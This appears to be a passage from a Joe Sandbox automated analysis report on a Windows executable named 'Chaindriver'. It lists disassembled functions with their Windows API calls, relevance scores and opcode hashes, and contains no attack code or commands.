Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 3006384394de3d7d6335ffca3663b2ae555a506821308572bdb38291f1b12f27
Instruction ID: e728a1c02fbcee42f03b9779e1ba20a4516885326d6895fd82a467f90807b8a0
Opcode Fuzzy Hash: 3006384394de3d7d6335ffca3663b2ae555a506821308572bdb38291f1b12f27
Instruction Fuzzy Hash: 26014F21A08A5791FA70AB21EC147AE9354EF99740FC40431C95F16765DE2CF6498E30

Function 00007FF720B60360 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF720B604D6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B60541
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B60547
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B6054D

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$TextWindow
String ID:
API String ID: 2912839123-0
Opcode ID: dbe46ff790c20b89912a0fdaa554b5e2640218e7059209ab3c025edf3ca2331f
Instruction ID: 94902fdbd857004d361672f0a593520b029bffd287078d2fca6676f30d186f65
Opcode Fuzzy Hash: dbe46ff790c20b89912a0fdaa554b5e2640218e7059209ab3c025edf3ca2331f
Instruction Fuzzy Hash: DC51A066F2465284FB20ABA5DC452AD6322EF44BA4F80063ADB1E17BD5DF6CF540CB30

Function 00007FF720B62CEC Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF720B62CFB

Part of subcall function 00007FF720B6277C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF720B6279E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF720B62D10
__scrt_release_startup_lock.LIBCMT ref: 00007FF720B62D7E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF720B62DD1

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: ac8e0d61ad9562805f3f0f4ceccdbb6567ef63bb883097c4bc40aa5993711c11
Instruction ID: 6ac263aa281c580d21c6b830879b9241f7ccf1fbf4d80aa599390f379f5ba94c
Opcode Fuzzy Hash: ac8e0d61ad9562805f3f0f4ceccdbb6567ef63bb883097c4bc40aa5993711c11
Instruction Fuzzy Hash: BA313729E0990246FA74BB649C613BDA291EF40784FC4043CD90F4B7E3DE2DB9048E31

Function 00007FF720B422E0 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,00000000,00007FF720B428E7,?,00100000,?,00000001,00000000,00000000,?,00007FF720B41479), ref: 00007FF720B42308
ReadFile.KERNEL32 ref: 00007FF720B42327
GetLastError.KERNEL32 ref: 00007FF720B4235B
GetLastError.KERNEL32 ref: 00007FF720B4237A

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: d9ea8162334859a899980f74fa79e6bbf85c98ea8a13f51b84765ec106e6a7b0
Instruction ID: c13aedec008af3ca270b01616465980ee98065f696b45409071c0dae32ac14d7
Opcode Fuzzy Hash: d9ea8162334859a899980f74fa79e6bbf85c98ea8a13f51b84765ec106e6a7b0
Instruction Fuzzy Hash: 66217F21E0860289EA30AF15AC2023DE3B0FB45B94FD44130DA5E4AB94CE3CFA859F74

Function 00007FF720B4EA20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00007FF720B4EA5C
SetThreadPriority.KERNEL32 ref: 00007FF720B4EAB2

Strings

CreateThread failed, xrefs: 00007FF720B4EA6A

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: 485e209270f66b590ec8176dafed7bfb240ecdea8f700010846f48018d17601d
Instruction ID: 102d08a36f20fe251197a09b5556fd257ef1f87113322d6041956b5738a799fd
Opcode Fuzzy Hash: 485e209270f66b590ec8176dafed7bfb240ecdea8f700010846f48018d17601d
Instruction Fuzzy Hash: 18114C35A18A4281EA20AB14EC5116EB360FB84784FD44531D65E02B69DF3CF682CF70

Function 00007FF720B593EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF720B4DF4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF720B4DD5B

OleInitialize.OLE32 ref: 00007FF720B59406
SHGetMalloc.SHELL32 ref: 00007FF720B59454

Strings

riched20.dll, xrefs: 00007FF720B593F5

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: a2ea48ad6eaf40a2712c31cf90fd1ad0c531bf965d53d4a99af5176349890e79
Instruction ID: 10087593dccec33ea34199783160363d8faf1a17b6172273754db397abdf9098
Opcode Fuzzy Hash: a2ea48ad6eaf40a2712c31cf90fd1ad0c531bf965d53d4a99af5176349890e79
Instruction Fuzzy Hash: 9DF04F76A18A4582EB61AF20EC1516EF3A0FB88754F800135E58E42B64DF7CE258CF20

Function 00007FF720B323F8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF720B3243E
GetWindowTextW.USER32 ref: 00007FF720B32476
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B32505

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: 3e846a75996b98d67bcbe2fcf7b7e177c7c4e3bf59ed455f02099cc6229e5177
Instruction ID: 9329019c5d3782fde08b67fda0f2f059841303e38f9652807d93d31275b5cc3d
Opcode Fuzzy Hash: 3e846a75996b98d67bcbe2fcf7b7e177c7c4e3bf59ed455f02099cc6229e5177
Instruction Fuzzy Hash: 4E21A472A18B8181EA249B65AC4017EB364FB89BD0F545235EB9E03B95DF3CE190CB50

Function 00007FF720B43CF4 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,?,?,?,?,?,00000000,00000001,?,00007FF720B50761), ref: 00007FF720B43D1E
SetFileAttributesW.KERNEL32 ref: 00007FF720B43D70
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B43DDA

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 78a323c9e83038540e709c0a306e8d1f319ba5efdf3dbb668891aceacb5d3961
Instruction ID: c79f70a6067a7723049380774ce5d0a80f0f7c52d6a77ec1fcc82344310b285a
Opcode Fuzzy Hash: 78a323c9e83038540e709c0a306e8d1f319ba5efdf3dbb668891aceacb5d3961
Instruction Fuzzy Hash: 2421BB22E18A4181EE30AB25FC5427DA361FF88B94F945234EA9E437D5DF3CE544CA60

Function 00007FF720B4317C Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF720B507A2), ref: 00007FF720B431A7
DeleteFileW.KERNEL32 ref: 00007FF720B431F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B43261

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: 5034e80f18b6dada672af72daf15915e96673b2d3326e463545c04a976a4a92e
Instruction ID: 0cc295b706cac6490c99a274c10527ad7a470ec38c8696800cc8e47780f4cd5c
Opcode Fuzzy Hash: 5034e80f18b6dada672af72daf15915e96673b2d3326e463545c04a976a4a92e
Instruction Fuzzy Hash: 1F217C22A1878181EA20AB25FC5516EB361FB84B94F941234EA9E56B95DF3CF540CE70

Function 00007FF720B4327C Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,?,00007FF720B4E52D,?,?,?,00000000,?), ref: 00007FF720B432A7
GetFileAttributesW.KERNEL32 ref: 00007FF720B432F4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B43359

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 7118c4e6fffe30651da94a39ba5f8c81167afa32e221d2e2d046fdc79b46f602
Instruction ID: 7c468b5f8a09cf1eb3b6a6bbb3bd5972e58d261fdd3976d5f8d537a71b205f91
Opcode Fuzzy Hash: 7118c4e6fffe30651da94a39ba5f8c81167afa32e221d2e2d046fdc79b46f602
Instruction Fuzzy Hash: EA217C22A1868181EA20AB29FC5416DA361FBC4B94F940235EA9E43BD5DF3CE5458E24

Function 00007FF720B322BC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF720B322F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B323F0

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: f6d8c5fbbcd0c2d54c192febb6712a66cb73e134d8dca87a5b887cf4e1c9eeef
Instruction ID: fd1e124bc6a965ecb1c0c6df99da2385b70633c5236cbc197ca89896fcb0a53c
Opcode Fuzzy Hash: f6d8c5fbbcd0c2d54c192febb6712a66cb73e134d8dca87a5b887cf4e1c9eeef
Instruction Fuzzy Hash: 8E31A132E1878686EA24AB15EC4537EB361EB84790F944235EB9E07B95DF3CF5408B24

Function 00007FF720B42A90 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF720B42ABE
SetFileTime.KERNEL32 ref: 00007FF720B42B5B

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: e2360d92fa371ec3cf3789b724fac7dc0eee746b57302bb10420cb3d80e8e918
Instruction ID: 1f2d7c7034d2fa822df64f78b12b64302ad8581121d1b6253a8b0fcd1e28a667
Opcode Fuzzy Hash: e2360d92fa371ec3cf3789b724fac7dc0eee746b57302bb10420cb3d80e8e918
Instruction Fuzzy Hash: 6221D122E4974251EE71AB51DC2037EA791EF01794FD94031CE4E06391EE3CF68ADA30

Function 00007FF720B4AAA0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF720B4AB27
LoadStringW.USER32 ref: 00007FF720B4AB40

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 50b4215183bbe14799031b3cc2031c8d40844f06fe2ec6e88c7f343e0a5df25c
Instruction ID: 727ea5eb2a70d3f11a6a733591764496f3a8f08a629ca80466992d1505fd83e7
Opcode Fuzzy Hash: 50b4215183bbe14799031b3cc2031c8d40844f06fe2ec6e88c7f343e0a5df25c
Instruction Fuzzy Hash: A3117C61B1864986EA20AF16AD4442CF7A1FB89FC0B948435CE1E93721DF3CF6018F68

Function 00007FF720B42B70 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32 ref: 00007FF720B42BD1
GetLastError.KERNEL32 ref: 00007FF720B42BDE

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: b516d334dd1c85efa09aca89d3d43d2e2cc6a6d2d54fdbc8055284d5c2cf1125
Instruction ID: 0615db6524c2e435f589058d68b9f4e077e972eced851df18c3171d478339c9d
Opcode Fuzzy Hash: b516d334dd1c85efa09aca89d3d43d2e2cc6a6d2d54fdbc8055284d5c2cf1125
Instruction Fuzzy Hash: 1D115E21E1864181FB70AB25EC8127DA760EB44BA4FD44331DA2E567D5CF3CE686DB20

Function 00007FF720B4EAD4 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF720B4EB29,?,?,?,?,00007FF720B45712,?,?,?,00007FF720B4569E), ref: 00007FF720B4EAD8
GetProcessAffinityMask.KERNEL32 ref: 00007FF720B4EAEB

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 79722ee71258bf1dae4358653295d549d31541bd73e3f7913cc80f15ba5fc09c
Instruction ID: 16b62b9c9b010fba86b65812bad23e1a417dc9a2eb27e040384d6c697b96c992
Opcode Fuzzy Hash: 79722ee71258bf1dae4358653295d549d31541bd73e3f7913cc80f15ba5fc09c
Instruction Fuzzy Hash: ECE0E561B1458682DF199B59CC955AEE391FF88B40BC48036E50B83B14DE2CF2498F20

Function 00007FF720B62150 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF720B62180

Part of subcall function 00007FF720B62EFC: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF720B62F05

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF720B62186

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 1bb7e24e02d919eeb5b6f2c6636e471bde2a2032dbf585f53a3051670f130e73
Instruction ID: 84b977227532e0e651c04db7f4d00e785b94f658fd0ca1c837f8c3e733df40ab
Opcode Fuzzy Hash: 1bb7e24e02d919eeb5b6f2c6636e471bde2a2032dbf585f53a3051670f130e73
Instruction Fuzzy Hash: BCE0B648E1D90B01FA3833615C651BD8154CF5A770EA81B38DB3F187C6AD2CB4924930

Function 00007FF720B333E4 Relevance: 1.8, APIs: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B3388C

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 0775a86a686ea590aaf7c9edd055dabde09601dbd76f09eba2acf58d909f3722
Instruction ID: 7d0f38ca261041f90fdc6fc304ac8d0642be2ae8c971f2728dfd9def0bfc764e
Opcode Fuzzy Hash: 0775a86a686ea590aaf7c9edd055dabde09601dbd76f09eba2acf58d909f3722
Instruction Fuzzy Hash: ABD1A862B0868155EB78AB259D842BEE7A1FB55F84F940035DB5E47BA1CF38F4608B30

Function 00007FF720B5CA50 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B5CD64

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

